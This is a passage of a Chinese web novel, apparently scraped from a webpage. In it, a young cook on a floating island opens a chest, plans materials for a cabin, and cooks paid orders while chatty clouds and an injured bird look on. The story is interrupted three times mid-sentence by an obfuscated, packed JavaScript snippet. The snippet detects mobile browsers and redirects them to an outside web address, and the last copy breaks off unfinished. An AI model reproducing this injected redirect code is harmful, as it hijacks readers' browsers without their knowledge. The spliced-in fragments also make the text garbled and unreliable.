“啾啾不急,慢慢说,慢慢说!云云能听懂一点点鸟语的!你告诉云云,云云帮你转达给精灵!” “啾啾啾!啾啾啾!” 云团子煞有其事的把顶上那一点点云絮上下晃了晃,甚至还学着人类摩挲下巴思考般,让身体的下半部分的云絮往回卷了卷:“懂啦懂啦!明白啦!啾啾别怕,交给云云!你乖乖休息,不要乱动哦!” 说完,它“嗖”地一下,撞进了身后那片厚重的云朵墙壁之中。 那片云朵墙壁咕涌了一下,过了一会儿,一朵体型较小、但看起来格外灵动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16968995|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云团子从墙壁中分离,飘飘悠悠地飞到了岛屿边缘。 那里有一处被晨风吹得不断波动的浓厚云涡,看着阴沉沉的,一点也不像跟前的这片云朵墙壁蓬松柔软。 盛棠眼巴巴的望着,心都跟着提上去了好大一截。 小云团子“嘿呦”一声,猛地扎进云涡里。几秒钟后,它才一头钻了出来,费力地拖着一个东西飘了回来。 那是一个只有巴掌大小,但做工明显比粗糙木箱精致许多的宝箱。表面似乎原本有暗色的漆和金属包角,但此刻湿漉漉的,沾满了水珠和细微的云絮,像个刚落水的迷你保险箱。 小云团子“噗”地将宝箱放在盛棠脚边,自己累得摊平成了一小块云毯,呼呼喘气。 肥啾挺起小胸脯,冲着宝箱,又冲着盛棠:“啾!啾啾啾!” 盛棠惊讶地看着这个湿漉漉的意外收获。 【被水浸过的精致宝箱*1】 【介绍:不知从何处坠落,又在云海中浸泡过的精致容器。里面的东西或许需要一点运气和恰当的处理才能完好取出。】 【备注:肥啾的报恩。看来‘好精灵有好报’在这个世界也是通用的?建议彻底晾干后再尝试开启,除非你想收获一箱糊掉的纸浆或锈死的零件。】 “谢谢啦。”盛棠揉了揉小云团子和肥啾的脑袋,小心翼翼的把这个宝箱放在了距离阳光最近的石头上。 做完这些,盛棠才吃了点昨晚剩下的鸡汤,将饱腹值补到92/100。 肥啾无力地瘫在蓬松柔软的云绒小窝里,一身羽毛凌乱地耷拉着,整只鸟看起来可怜兮兮的厉害。 盛棠瞄了一眼肥啾的小肚子,瘪瘪的,看起来像是蛮久没吃过饭了。 他抿了抿唇,虽然“同类相食”很微妙,但饿着肚子,伤怎么会好呢? “总比饿着强的……” 盛棠用干净的叶尖舀起一点点清鸡汤,特意用打火机在下头热到微滚,这才小心翼翼地递到肥啾的尖喙边,声音放得又轻又软:“饿了吧?来,尝尝这个?很鲜的。” 肥啾的黑豆眼微微转动,瞥了一眼那近在咫尺的汤汁,猛地将小脑袋扭向另一边。 还用没受伤的右边翅膀尖扑扇了一下,发出嫌弃的声音:“啾!” 盛棠:“……” 好吧。他默默收回手,看来,他是遇到了一只很有原则的啾了。 盛棠将那点鸡汤饮下,这才看向那个被放在石板上的晾晒的宝箱。 虽然晾晒的时间很短,但宝箱看起来已经干了。 盛棠尝试着碰了一下。 【状态:表面已干燥,内部潮气未除。可尝试开启,但有较低概率损坏内部纸质物品。】 等不及了!盛棠心一横,选择开启。 “咔哒”一声轻响,箱盖弹开。 一阵紫光过后,盛棠看见那宝箱里面铺着块半湿的吸水绒布。 绒布上躺着三样东西。 一卷用油纸小心包裹的羊皮纸,边缘有些水渍晕染,但核心部分完好。 一小包用防水油布包着的铁钉,盛棠数了数,整整三十枚,都闪着冷冽的光泽。 一块叠得整齐、质地细腻的亚麻布,比之前的野餐布更大更厚实。 盛棠首先拿起那卷羊皮纸。 【小木屋强化组件·防风支架(绿色品质)】 【分类:建筑强化配件】 【状态:可建造(材料不足)】 【材料需求:木材(0/20),石材(0/10),金属碎片(0/30)】 【功能描述:可加装于‘温馨小木屋’主体结构。大幅提升整体结构强度与抗风能力。预计可将小木屋抗风等级提升至8-9级,显著降低在10级风力下的损毁概率。】 好东西呀!盛棠的眼睛噌的一下就亮了。 有了这个和小木屋,起码他会有个比较安全的地方,不会有连人带屋子被大风吹走的风险了! 可这材料清单,光是看着就让人头皮发麻。 单单小木屋就需要整整六十木材、五十石材,外加二十金属碎片。加上这个防风防风支架,他心理预估的总需求直接飙升到了八十木材、六十石材和五十金属碎片。 而他手头有什么呢? 【干燥的木板15】和【钉子21】。 盛棠深吸一口气,开始强迫自己冷静盘算。 昨天从资源区带回来的五个木箱还没开,前天下午开启后没来得及分解的两个空木箱也还在。如果全部打开并分解…… “五个新木箱,如果每个都和之前一样,分解得6块木板和8颗钉子……那就是30块木板,40枚钉子。” “两个旧空箱,分解得12块木板,16枚钉子。” “这样加起来,木板总数是57块。” “钉子总数是77枚。” “等等,刚刚精致宝箱里开出了30枚钉子?那钉子总数就是107枚。” “一块木板能分解成5块【木材】,57块木板就是……285块木材!” 木材瞬间从赤字变成了富余! 钉子可以作为【金属碎片】的替代品,101枚钉子,应付五十单位的金属需求也绰绰有余。 那么,最大的短板,就只剩下…… “石材。”盛棠肩膀垮了下来,无奈地叹了口气,“要命的就是这个。” 他现在所在的浮空岛,明显是高山地貌。生活区是光秃秃的流石滩,那些被风化的碎石,系统根本不认可为可用的【石材】。唯一产出石材的资源区是草甸带,可那里植被茂密,岩石裸露极少。 前天的探索,他几乎是翻遍了能到达的角落,眼睛都快瞪出来了,也才堪堪找到了五块符合系统要求的、可采集的【石材】。 而他现在需要六十块。 “这怎么可能凑得齐啊……”盛棠小声哀叹,带着婴儿肥的脸颊不自觉地鼓了起来,挂满了“此路不通”的郁闷。 就算把这草甸区的每一寸泥土都翻个底朝天,想在短短五天里搜集到六十块合乎标准的石材?这简直像指望用帐篷抵挡10级大风一样异想天开。 “果然,最终还是要靠交易。”盛棠揉了揉脸,迅速从短暂的沮丧中抽离出来。 他立刻想起了之前在聊天室里特意加星标的那位用户【救救我,岛上只有石头怎么办】。 他的岛上只有石头,我的岛上就没有石头。 或许,我们可结对子,他给我提供石头,而我给他提供别的? 11. 代加工!精灵厨房! 说干就干,盛棠立刻点开交易区,找到了那位被他标记的【救救我,岛上只有石头怎么办】,快速编辑了一条信息发送过去。 【尖耳朵美食家】:你好!看到你的ID,你那边已经有很多很多石材吧?我这边急需大量石材,大约100单位。可以用带有特殊效果的食物(随机增益,比如回复精力、短暂提升状态等)交换。有兴趣聊聊吗? 发完消息,盛棠心里快速盘算着。建造小木屋的60单位石材是刚需,还得预留一些做加固和其他可能的建造,100单位应该是个比较保险的数字。 不过把希望全寄托在一个人身上太冒险了。就像老话说的,鸡蛋不能都放在一个篮子里。万一对方没回应,或者条件谈不拢,干等着只会让时间在焦虑中白白流逝。 盛棠皱了皱鼻子,他讨厌那种坐立不安、患得患失的感觉。 “得做两手准备。”他小声嘀咕,退出私聊界面,转而进入了交易区的公共发布板块。 【代加工:各类熟食定制。请自备主要食材及不少于5单位的基础材料(种类不限,石材优先)。成品将随机附加一种增益效果。】 帖子刚发布成功,资源区开放的窸窣声便准时响起。 盛棠利落地收起手机,顺手抄起倚在帐篷边的那把结实铁铲,在手里掂了掂,然后扛在肩上,挺起小胸脯,雄赳赳、气昂昂地朝着再次敞开的草甸区大步走去。 或许是目标明确的缘故,盛棠这一次的收获格外丰盛。 除了例行从树上“摘”下的五个“文明馈赠”木箱外,他还从松软的泥土下,挖出了整整十五根带着新鲜泥土气息的葱姜,二十颗圆润饱满的小土豆,八株香气独特的九层塔,甚至连水灵灵的韭菜、脆生生的豆芽这类鲜嫩时蔬,都搜罗到了结实实的一小捆,握在手里能有小孩子的手腕那么粗了。 时间一到,□□合拢。盛棠抱着一大堆“战利品”,心满意足的回到了自己的小营地。 背包的每一个格子都被塞得满满当当。盛棠只好先将怀里抱着、手里提着的各种蔬菜,一股脑儿地堆放在旁边一块相对干净平整的石面上。 五颜六色、水水灵灵地堆成了一座小山。 忙活完,他才走到小水洼边,蹲下身,仔仔细细地洗干净占满泥土的双手,又掬起清亮的泉水泼了泼脸。 做完这一切,他舒了口气,这才不紧不慢地盘腿坐下,从口袋里掏出手机,点亮了屏幕。 手机屏幕刚一亮起,一大堆未读消息提示就争先恐后地弹了出来,滴滴咚咚响成一片,蹦跶得手机都明显卡顿了一下。 盛棠耐心地等了几秒,才看清自己的私聊信箱几乎要被未读红点淹没了。 他倒没急着点开那些喧嚣的未读消息,而是先找到了和那位【救救我,岛上只有石头怎么办】的私聊窗口。点进去,聊天记录还停留在他自己发出的那条询问上,孤零零的。对方头像灰暗,没有回应。 “看来这位‘石头岛主’还没起床,或者正忙着跟他的石头相亲相爱呢。”盛棠小声嘀咕,耳朵尖尖微微一颤,带着点婴儿肥脸上掠过一丝不易察觉的失望。 但他很快又振作起来,点了点头,自我肯定道: “嗯,果然两边同时下注的策略是对的!不然干等这一边,岂不是要把自己等成一只焦虑的蘑菇?” 他退出私聊窗口,目光炯炯地投向那片已被未读消息塞爆的交易区通知。 “大佬!真的假的?增益食物?我有一条怪鱼,腥得不行,烤了能吃就行!付燧石5单位!” “尖耳朵的美食家?这ID……先不管了!我有捡到的硬豆饼,能弄成能吃的粉吗?我可以给木材8单位!” “增益效果!我需要能回血的东西!我有一些酸涩的果子,能处理吗?我有石材!” “金属片我有一块,但我想换能长期保存的干粮!有办法吗?” “我有肉!新鲜的!帮我烤,付石材,8个单位!” 大部分的消息是挺着急的,毕竟“增益效果”太诱人,而大风预警显然让所有人都慌了神,急于提升任何一点生存筹码。 盛棠快速浏览着这些信息,很快就选出了三个他刚好可以尝试的订单。 来自“海藻别跑”(珊瑚礁群岛): 【委托】加工一条【腥涩的多刺海鱼】,要求:有效去腥,烤制熟透。 【报酬】燧石*2。 盛棠揉了揉小巧的鼻尖,眼睛弯了弯。 燧石!这可是好东西。打火机里的燃油总有用完的一天,但燧石只要方法得当,就是可以反复使用的可靠火种。 在即将到来的的大风天里,稳定的火源才是至关重要的东西呀。 至于海鱼去腥?这可是考验厨师真功夫的技术活,他很乐意接受挑战。 来自“豆饼砸死我”(风蚀平原): 【委托】将三块【硬如砖头的豆饼】加工成易于储存、方便食用的形态。 【报酬】木材*15。 “木材……”盛棠低声念道,这可是基础建材和燃料,多多益善,尤其是在需要持续燃烧取暖或烹饪的恶劣天气里。 而把硬邦邦的豆饼“活化”,这挑战可比给海鱼去腥有意思的多了。他虽然没做过,但脑子里已经蹦出了几种可能的组合了。 来自“莓果酸掉牙”(雾松山谷): 【委托】处理一小筐【酸涩的野生莓果】,目标:变得可口,最好能有点特殊增益效果。 【报酬】石材*20。 “石材!”盛棠的眼睛瞬间亮了,这正是他眼下最紧缺的核心资源!这笔报酬堪称雪中送炭。 不过,酸涩的野莓,想要变得可口,最常规的思路是熬成果酱,用糖的甜味去中和酸涩。可他手头……没有糖。 这就得另辟蹊径了,或许可以用烤制或特殊的香料搭配来转化风味? “好,就这三单了!”盛棠拍板决定,带着点婴儿肥的脸上露出跃跃欲试的表情。 既有急需的石材和木材,也有重要的火种,还能挑战不同的烹饪难题,简直完美。 他依次回复,确认委托细节和报酬,然后通过系统交易功能,接收了对方发来的原始食材:一条滑腻冰凉、气味冲鼻的灰蓝色怪鱼。三块灰扑扑、硬得能敲响的豆饼。一小堆颜色暗淡、皱巴巴的酸涩莓果。 “精灵厨房”,第一次对外营业,正式开张! 盛棠率先拿起了那条委托加工的鱼。 鱼身细长,覆盖着银灰色带暗纹的鳞片,手感冰凉湿滑,确实带着一股浓重的、属于深海的腥咸气息。 【腥涩的多刺海鱼】 【分类:食材】 【状态:离水不超过一小时】 【介绍:来自珊瑚礁附近水域的常见鱼种。肉质紧实,潜在鲜味足,但体表黏液与腹内黑膜腥气极重,骨骼多且细密,处理需格外仔细。】 【备注:来自大海的馈赠。做得好是美味,做不好就是“生化武器”。】 盛棠盯着系统介绍,若有所思地点了点头,指尖轻轻按压了一下鱼身,回弹明显,确实是条肉质紧实的好鱼。 “嗯,表皮黏液是腥味源头之一,腹内的黑膜更是重灾区。必须处理干净。肉质看起来很棒,够紧实,做烤鱼应该会外焦里嫩……” 他盘算着现有的调料,有盐巴、花生油,还有今天新挖的葱姜。没有料酒,没有胡椒,去腥提香的手段有限。 “葱姜是去腥利器,但面对这种腥气战士,可能还需要点别的……”他喃喃自语,目光落在那几头新鲜挖出的,还带着泥土的姜块上,忽然灵光一闪,“或许可以试试……姜蓉酱?” “把姜剁得极碎,混合一点点盐和花生油,做成简易的姜蓉酱,厚厚的抹在鱼身上和腹腔里,既能强力去腥,烤制后又能形成独特的风味层?” 越想越觉得可行。姜的辛辣芳香能有效中和腥气,油脂在烤制过程中能锁住鱼肉水分,焦化的姜蓉还能带来特殊香气。虽然比不上完整的香料体系,但在当前条件下,这或许是最优解了。 “就这么办!”盛棠决定了方案,顿时干劲十足。 他需要先彻底清理这条鱼,然后制作姜蓉酱,最后才是烤制。 他拎着鱼走到水洼边,开始进行精细处理。 手里的小刀在水里略沾了一下就贴着鱼身逆向轻推,银灰色的鳞片便“唰唰”地脱落,不一会儿,方才还波光粼粼的海鱼就成了滑不留手的一条了。 他把鱼往地上摔了两下,按住鱼的中断,手起刀落,扎进了鱼腹种,沿着腹部白线轻轻一划拉,将整条鱼开膛破肚了。 盛棠把手往水里轻轻一沾,小心翼翼的探入鱼腹之中,一点点的把内脏完整的扣了出来。 腥臊味立刻把整只手都沾满了,盛棠忍不住皱了皱眉头,下意识的把头偏向了一旁。 接下来就是刮那层黑膜了。这可是个考验技术的工作,刮的深了,脊柱上的鱼肉就会松散,一会儿烤制的时候会变得碎碎的,破坏整道菜的鱼相。 刮得浅了,那黑膜就去不干净,腥臊味被大火一逼,就更加浓郁了。无论刷多少层姜蓉酱都遮掩不掉。 好在盛棠对处理鱼这种小事儿早已架轻路熟了,又有天赋的加成在,三下五除二就处理好了那层黑膜。还顺手切断了鱼脊,让原本合抱着的鱼生成了软趴趴的两半。 盛棠拎起鱼头凑上去闻了闻,腥气还在,但比刚开始好了很多。 “杀鱼去腥也就只能做到这一步了。”盛棠叹了口气,“接下来还是交给酱料吧!” 盛棠这么念叨着,手腕转了个花刀,在鱼身两侧肉厚的地方斜划了几道深至鱼骨的口子。 然后,他将一部分葱姜切成粗段,用力揉搓出汁水,混合少许盐,均匀地涂抹鱼身内外,又将剩下的葱姜段塞进鱼腹。 没有料酒,他也只能这最原始的葱姜汁水来打个底,去腥提鲜了。 做完了这一切后,盛棠将鱼放在一旁腌着,转而拿了一块最饱满、香气最冲的老姜,洗净去皮,放在平坦的石片上。 手边没有捣臼,就只能用刀一点点剁了。 盛棠叹了口气,将刀在手心里转了半圈,用刀背反复碾压着姜块,直到那厚厚的姜块变成了薄薄的一片。 一股呛人的辛辣气息,如同无形的波浪,猛地从石板上炸开,瞬间席卷了整个小小的生活区。 “呜哇——!!!” 距离最近的云朵墙壁首当其冲,最前排的几朵云絮像是被无形的针扎了一下,整片□□都剧烈地往后一缩,边缘的“绒毛”瞬间炸开、倒竖! “咿呀——!什么味道!好冲鼻子!” “辣!辣眼睛!云云的眼睛要流泪了!” “是那个黄黄的根茎!它坏掉了!散发出攻击性的气味!” “退后退后!这个味道有攻击性!云云受不了!” “精灵你在做什么可怕的东西!快停下!” 云朵们七嘴八舌地惊叫着,原本好奇凑近的云团子们嗖嗖地缩回厚厚的□□深处,整片□□都向后平移了半米,如临大敌地盯着盛棠手里那摊危险物质。 几朵胆小的甚至微微颤抖起来,仿佛那姜味是某种可怕的毒气。 盛棠被云朵们这过于夸张的反应逗得差点笑出声,连忙解释:“别怕别怕!这是姜,是一种香料,虽然生的时候味道冲了点,但做熟了会很香的!是去腥提味的好帮手!” 他一边说,一边加快手上的动作,将碾压出的姜蓉收集到叶子上,然后倒入几滴金黄的花生油和一小撮盐,快速搅拌均匀。 油脂的融入立刻让姜蓉的刺激性气味变得柔和了些许,起码云团子们刚刚炸开的云絮变得平顺了不少。 “你们看,混合一下就好多了。”盛棠将简易姜蓉酱凑近□□。 但云朵们还是心有余悸,只敢远远地、谨慎地嗅了嗅。 “好像……没那么可怕了?” “但还是有点点冲……” “不过,混了油之后,感觉暖暖的?” “精灵说会变香……那、那再相信精灵一次?” 盛棠微微一笑,将这点姜蓉厚厚的涂抹着了鱼腹之中。鱼身他也没放过,刷上了一层薄薄的花生油,然后将多余的姜片一点点的贴了上去。 趁着腌制的功夫,盛棠重新点燃了火堆,还选了一块更长、更平坦的石板架在上面,冲作烤盘。 “哎,要是有铁板就好啦。”盛棠小声的嘟囔着,“石板烤鱼的香气可没有铁板烤鱼的大。” 当石板被烧得微微冒起青烟时,盛棠用树枝做的长夹,小心地将涂抹着厚厚姜蓉的鱼平铺在滚烫的石板上。 “滋啦——!!!” 高温与油脂、水分接触的瞬间,姜蓉的辛香、鱼皮的焦香、以及被锁住的鱼肉鲜甜,如同被点燃的烟火,轰然炸开。 一股极其霸道、诱人、带着海洋气息与陆地香料热烈碰撞的复合香气,猛地腾起,甚至将周围的空气都搅动得活跃起来。 “呜哇——!新的香香!” 云朵墙壁那边瞬间传来压抑不住的惊呼,原本被风吹得有些萎靡的云絮纷纷精神一振,努力朝着香气的源头探头探脑。 “这次是……是海的味道!但是暖暖的,香香的,一点都不腥!” “还有那个黄色的小颗粒,味道好特别!闻着就觉得胃口大开!果然精灵没有说谎!” “精灵又在做好吃的了!这次是什么呀?好想尝……啊不,闻一闻!” 石板的温度高的有些超出的盛棠的预料,他顾不上回应那些叽叽喳喳的云朵了,用“长夹”小心地调整着火候,让鱼身受热均匀。 在持续的炙烤下,鱼皮逐渐变得金黄酥脆,边缘微微卷起,发出细密的噼啪声。 厚厚姜蓉中的水分被蒸发,颜色加深,紧紧附着在鱼皮上,形成了一层焦香诱人的姜蓉脆壳。 油脂混合着姜汁和鱼自身的汁水,在石板上滋滋作响,散发出愈发浓烈、令人无法抗拒的香气。 待鱼肉彻底变为诱人的雪白色,用树枝能轻松穿透最厚的部位时,盛棠知道,火候到了。 他将烤鱼迅速转移到一个准备好的、铺着新鲜绿叶的大石片上。 鱼身完整,金黄焦脆的姜蓉壳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16968996|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆盖全身。轻轻一碰,那层酥壳便发出细微的、令人愉悦的碎裂声。 【叮!成功制作【姜蓉脆壳烤海鱼】(品质:精良)】 【食用效果:饱腹值+5,精力值小幅回复。附加状态【暖胃驱寒】(轻微提升对寒冷环境的耐受性,持续1小时)【海腥抵抗】(未来24小时内食用海产品,腥味感知降低)。】 成了!而且效果比预想的还好,竟然还附带了驱寒状态,这对即将到来的大风天简直是雪中送炭! 盛棠看着自己的作品,软软嫩嫩的脸上露出了满足而自豪的笑容。 他小心地将烤鱼用干净叶子包好,准备通过系统发送给委托人【海藻别跑】。 【尖耳朵的美食家】:烤鱼做好了,看看满意不? 消息几乎是秒回。 【海藻别跑】:!!!大佬!绝了!真的半点腥味都没了!姜蓉壳又香又脆,鱼肉嫩得不行!居然还有驱寒效果!燧石给你!下次有鱼还找你!(交易完成,获得:燧石x2) 看着刚刚入账的两块黝黑光滑的燧石,盛棠满意极了。很好,备用火种+2,生存底气又多了一分。 “首单告捷!”他小小地挥了下拳,干劲更足了。 他甩了甩酸胀不已的胳膊,巴掌大的脸上满是对下一项的跃跃欲试。 虽说海鱼的处理烹饪难度系统很大,哪怕有天赋的加成在,体力消耗也不算少,但盛棠却一点都不觉得累。 身为厨子,他可太喜欢这种把难吃的食材烹饪的美味好吃,还收到食客欢迎的事啦! 盛棠看向那三块来自风蚀平原、号称“硬如砖头”的豆饼。 他拿起一块。 入手沉甸甸,质感密实,表面粗糙干燥,呈现一种暗淡的灰黄色,用手指关节敲上去,真的会发出“叩叩”的闷响,跟敲木块似的。 【硬化的压缩豆饼】 【分类:食材/储备粮】 【状态:极度干燥,硬度惊人】 【介绍:由某种高淀粉豆类混合少量谷物,经反复压制、彻底脱水制成的传统行军干粮。能量密度极高,极其耐储存,但口感堪比木屑,难以直接食用。】 【备注:饿急了眼的老鼠都宁可去啃帐篷杆。建议:要么有铁齿铜牙,要么有化腐朽为神奇的厨艺。】 盛棠掂量着这块“板砖”,嘴角抽了抽。这硬度,别说吃了,切开都成问题。 常规思路肯定是泡发,但需要大量的水和时间……而且,仅仅泡软可能还不够,如何让它变得易于储存、方便食用并且好吃,才是关键。 “高淀粉……混合谷物……”盛棠若有所思,指尖无意识地点着豆饼表面。 淀粉遇水糊化后,具有粘性。如果将它彻底泡发、捣碎,是不是可以重新塑形?混合今天新挖的土豆泥增加湿润度和风味?或者加入切碎的野菜,做成煎饼? 他一边琢磨,一边尝试用刀去切。小刀划过表面,只留下一道浅浅的白痕。 “好吧,这种硬邦邦的东西,靠切是没用的。” 他想了想,改变策略,将豆饼搬到一块平整的大石头上,拿出那鸽沉甸甸的石纺坠,用其底部圆润的石面,用力砸了下去。 “砰!砰!” 几声闷响后,坚硬的豆饼终于裂成了几大块和许多碎渣。 盛棠将较大的块状和所有碎渣收集起来,放入一个用大叶片临时卷成的碗中,然后小心翼翼地倒入了200ml的矿泉水。 清水迅速□□燥的豆饼吸收,但豆饼只是颜色变深了些,依然顽强地保持着块状。 看来如果想要彻底软化,需要不短的时间。 “好吧,看来得让豆饼先生先泡个漫长的冷水澡了。” 盛棠将叶子碗放在火堆旁相对温暖的地方,又往里面灌满了云絮弄来的水,让它慢慢吸收水分。 这个过程要很长时间了,一点都急不来。 云团子们悄咪咪的围了上来,悬在盛棠头顶不远处,看着他小心翼翼地将珍贵的清水倒入那碗“石头块”里,一个个忍不住发出细微的声音。 “精灵精灵,你在做什么呀?” “是呀是呀,那个水,不是喝的和洗香香用的吗?怎么倒给这些硬邦邦的丑东西啦?” “云云记得,精灵你说过水很珍贵,要省着用的!” “浪费水水,坏精灵!唔……不过精灵应该不坏,所以是在做好事吗?” 盛棠被云朵们的提问逗笑了。他停下手,抬起头,对着那片毛茸茸的云团团们耐心解释:“没有浪费哦。这可不是普通的倒掉,这叫泡发,是做好吃的第一步呢!” 他指了指叶碗里正在缓慢吸水的豆饼碎块:“你们看,这些豆饼现在硬得像石头,没法吃,也没法做成其他样子。” “水呢,就像一把温柔的小钥匙,能慢慢打开它们紧锁的身体,让里面沉睡的、能提供能量的好东西软化、苏醒过来。” “一个好吃的东西诞生,有时候需要别的好东西,甚至看起来普通的水,来帮助它、改变它。现在用水泡发它们,是为了之后能把它们变成方便携带、吃起来香喷喷、还能填饱肚子的好东西呀!这可不是浪费,这叫……嗯,叫必要的投资!” 云絮微微起伏,仿佛在努力消化这个新奇的概念。水不是只能喝,还能当钥匙?硬石头一样的东西,泡了水就能变好吃? “哦……所以,水是帮助硬东西变软的魔法钥匙?” “精灵不是在浪费,是在用魔法钥匙开门,准备变出新的香香?” “那……那等门开了,里面会有新的香香冒出来吗?会比刚才的鱼鱼还香吗?” “云云好像懂了一点点!精灵好聪明,懂得用魔法!” 趁着泡发豆饼的功夫,他的目光投向了第三个订单的食材,那一小筐来自雾松山谷的【酸涩的野生莓果】。 石材报酬的诱惑最大,但难题也最棘手。 他拈起一颗深紫色、小指甲盖大小的莓果,放入口中轻轻一抿。 “嘶——!”强烈的酸涩感瞬间席卷味蕾,让他忍不住眯起了眼,脸都皱了起来,好一会儿才缓过劲。 这酸度,简直能拿去当清洁剂了!而且酸过后,只有很单薄的、带着点生青气的回味,甜味几乎可以忽略不计。 【酸涩的野生莓果】 【分类:食材】 【状态:刚刚摘下】 【介绍:生长在贫瘠雾松地区的顽强小浆果。维生素含量可能极高,但过于突出的酸涩味掩盖了一切。直接食用体验极差。】 【备注:尝一颗提神醒脑,尝两颗怀疑人生。建议:大量糖或蜂蜜腌制,或者……有本事你就徒口征服它。】 没有糖,没有蜂蜜。盛棠盯着这一小筐“酸涩小炸弹”,又看了看火堆,看了看手边的盐和油,再看了看今天新挖的、带着清甜味的土豆和脆生生的豆芽…… 一个大胆的想法忽然蹦进了他的脑海。 或许……不走甜口路线,而是把它做成……酸味调料? 盛棠的眼睛微微发亮,感觉身体里那颗中二的厨师之魂在蠢蠢欲动。 12. 贪吃的肥啾 盛棠正要动手,忽然感到衣摆被一股微弱的力道轻轻向下拉扯。 他低头一看,那只瘫在云绒窝里的小肥啾居然挪到了他身后,正叼着他冲锋衣的下摆,一点一点的往它自己的方向扯动。 见盛棠终于看过来,肥啾那双黑豆似的小眼睛“蹭”地一下就亮了。 它立刻松开叼着的衣角,在地上急急的蹦跶了两下。 右边完好的翅膀“呼啦”张开,努力扑腾着,愈发衬得左边那被云絮木片固定住的翅膀可怜兮兮。 “啾!啾啾啾!啾——!”肥啾发出急不可耐的声音。 它将小脑袋往盛棠装东西的衣兜方向一探,随即又迅速缩回,然后挺起胸脯,睁着圆溜溜的黑眼睛,故作矜持地望着他。 盛棠的目光下移,落在自己刚从衣兜里掏出的、那颗深紫色的野生莓果上。 这小家伙……是在讨这个?虽说鸟儿是拒绝不了浆果诱惑的,但这么酸涩的莓果,它吃的惯吗? “你……是想要这个?”盛棠迟疑地晃了晃指尖抵着的那颗深紫色的莓果。 肥啾的眼睛顿时更亮了,小脑袋一上一下快速点动着,急急应道:“啾!啾啾!” 盛棠抿了抿唇,犹豫着将捏着莓果的手往小家伙面前凑了凑。可就在肥啾快要触到果子的瞬间,他又跟被烫到似的飞快地把手缩了回来。 不行不行,哪能给伤病员喂这种酸倒牙的玩意?好精灵可不能这样“欺负”小动物! 他定了定神,伸出另一只手的食指,轻轻戳了戳肥啾毛茸茸小脸蛋,小声哄劝道:“别急呀,这个现在太酸了,不好吃。等我把它弄得好吃一点,再给你尝尝,好不好?” 肥啾瞬间瞪大了那双黑豆眼,湿漉漉的看着他,跟受了天大的委屈似的。 毛茸茸的小脑袋倔强地一偏,灵巧地躲开了盛棠的手指,然后整个小身子赌气似的原地往后一跳,果断背过身去,用毛嘟嘟的小屁股对着他,摆出一副“你不给我吃,你就哄不好我了”的架势。 围观的云朵们似乎也没料到肥啾会突然来这么一出,静了一瞬,随即爆发出细细软软的“嘎嘎”声。 “哎呀呀!精灵把我们的啾啾惹毛啦!” “看那小屁股撅的,能挂油瓶啦!” “精灵小气鬼!一颗果果都舍不得!” “啾啾不哭,转过来转过来,让云云看看你气鼓鼓的小脸蛋~” 盛棠被云朵们的声援和眼前这气鼓鼓的小背影弄得哭笑不得。 一群小没良心的! 他哪里小气了? 他是不敢把这酸得离谱的果子直接塞给伤病员啊! 可跟这么个贪吃的小家伙讲道理似乎行不通。他无奈地摇摇头,看着那倔强的小毛团,半是嗔怪半是没辙地低声念叨了两句“你啊……你啊……”的,才硬着心肠看向那块石板。 干干烧了这么久,石板表面那层烤鱼留下的油脂和焦香物质已经凝结成了一张完整的琥珀色的薄壳。 边缘因冷却收缩而微微向上翘起,形成了一只边缘光滑的油碗。 盛棠用树枝筷子夹住一侧油边,轻轻向上一提—— 整个油碗就被轻轻松松的揭下来了。 “呜哇——!!!” 围观的云朵们齐刷刷地发出一声拖长了调的欢呼,整片云朵墙壁都激动的波动起来,云絮乱颤。 “好、好厉害!像揭下一片阳光做的叶子!” “好完整!一点都没破!精灵的手是魔法变的吗?” “不愧是能做出那么多香香的精灵!连清理石板都这么好看!” “云云学不会!云云只会吃……啊不,闻香香!” 盛棠被云朵们这过于夸张的赞叹弄得有点不好意思,连耳朵尖尖都微微发红了。 他赶紧拍了拍自己有点发热的脸颊,努力板起小脸,故作严肃地朝云朵墙壁方向“嘘”了一声:“好啦好啦!都安静看,不许吵!” “再吵的话,小心我分心,等下做出来的东西味道跑偏了哦!” 这威胁果然有效。云朵们瞬间集体噤了声,连最细微的窸窣声都消失了。 但它们显然更加好奇了,整片云朵墙壁默契地又往前凑近了一大截,几乎要贴到安全区的边缘。 无数朵云团子努力探出身子,聚精会神地盯着盛棠,努力搓出来的眼睛云絮上写满了期待。 味道!香香的味道!精灵啊精灵,又要做什么好吃的啦? 盛棠定了定神,目光落在那一小兑深紫色的野生莓果上。既然要做酸味食物,那他有两个思路,一个是做发酵,另一个是熬酸膏。 两样都不算复杂,手头的材料也勉强够用。发酵嘛,说白了就是把这些莓果捣碎了封起来,交给时间和微生物去施展魔法。 如果想风味更有层次,加点香料进去一起泡着就行。 比如今天新摘的九层塔,那股独特的辛香和酸味应该很搭。 至于酸膏就更简单了,直接把莓果在石板上碾碎,用小火慢慢熬,逼出水分,浓缩成果酱似的膏体就行。即做即用,耐储存,还不占地儿。 “诶,看似上个选择题,实则,用脚趾头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 